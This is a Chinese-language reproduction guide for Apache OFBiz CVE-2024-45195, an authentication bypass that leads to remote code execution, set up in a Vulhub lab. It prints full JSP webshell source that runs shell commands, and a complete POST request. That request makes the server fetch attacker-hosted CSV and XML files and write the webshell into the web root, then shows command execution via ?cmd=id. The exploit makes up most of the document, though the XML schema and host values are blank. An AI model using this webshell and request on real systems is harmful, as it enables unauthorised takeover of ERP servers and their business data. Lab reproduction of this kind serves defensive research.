# Apache OFBiz 身份验证绕过导致远程代码执行 CVE-2024-45195 ## 漏洞描述 Apache OFBiz 是一个开源企业资源规划(ERP)系统。它提供了一套企业应用程序,集成并自动化企业的许多业务流程。 该漏洞是由于之前漏洞(CVE-2024-32113、CVE-2024-36104 和 CVE-2024-38856)未完全修复所导致。在 Apache OFBiz 版本 18.12.16 之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。 参考链接: - https://github.com/apache/ofbiz-framework/commit/ab78769c2d - https://github.com/apache/ofbiz-plugins/commit/8b95fe6fa - https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/ ## 漏洞影响 ``` Apache OFBiz < 18.12.16 ``` ## 网络测绘 ``` app="Apache_OFBiz" ``` ## 环境搭建 Vulhub 执行以下命令启动一个 Apache OfBiz 18.12.15 服务器: ``` docker compose up -d ``` 在等待数分钟后,访问 `https://your-ip:8443/accounting` 查看到登录页面,说明环境已启动成功。 如果非本地 localhost 启动,Headers 需要包含 `Host: localhost`,否则报错: ``` ERROR MESSAGE org.apache.ofbiz.webapp.control.RequestHandlerException: Domain your-ip not accepted to prevent host header injection. ``` ![](images/Apache%20OFBiz%20身份验证绕过导致远程代码执行%20CVE-2024-45195/image-20240918161735890.png) ## 漏洞复现 首先在服务器 `` 上部署恶意 XML 文件和 CSV 文件。 第一个文件是 `rceschema.xml`,此 XML schema 文件定义了恶意 JSP 的结构: ``` ``` 第二个文件是 `rcereport.csv`,此 CSV 文件包含实际的 JSP 代码: ```html <%@ page import='java.io.*' %><%@ page import='java.util.*' %>

Ahoy!


<% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "
"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>, ``` 然后发送以下请求: ``` POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1 Host: localhost:8443 User-Agent: curl/7.81.0 Accept: */* Content-Length: 241 Content-Type: application/x-www-form-urlencoded DATAFILE_LOCATION=http:///rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http:///rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce ``` ![](images/Apache%20OFBiz%20身份验证绕过导致远程代码执行%20CVE-2024-45195/image-20240918162601513.png) 该请求通过利用 viewdatafile 视图地图将恶意 JSP 文件写入 Web 根目录,从而利用了该漏洞实现远程代码执行。 在 JSP webshell 被写入后,通过 `https://your-ip:8443/accounting/index.jsp?cmd=id` 即可执行任意命令: ![](images/Apache%20OFBiz%20身份验证绕过导致远程代码执行%20CVE-2024-45195/image-20240918162620929.png) ## 漏洞修复 升级至 18.12.16 及以上版本。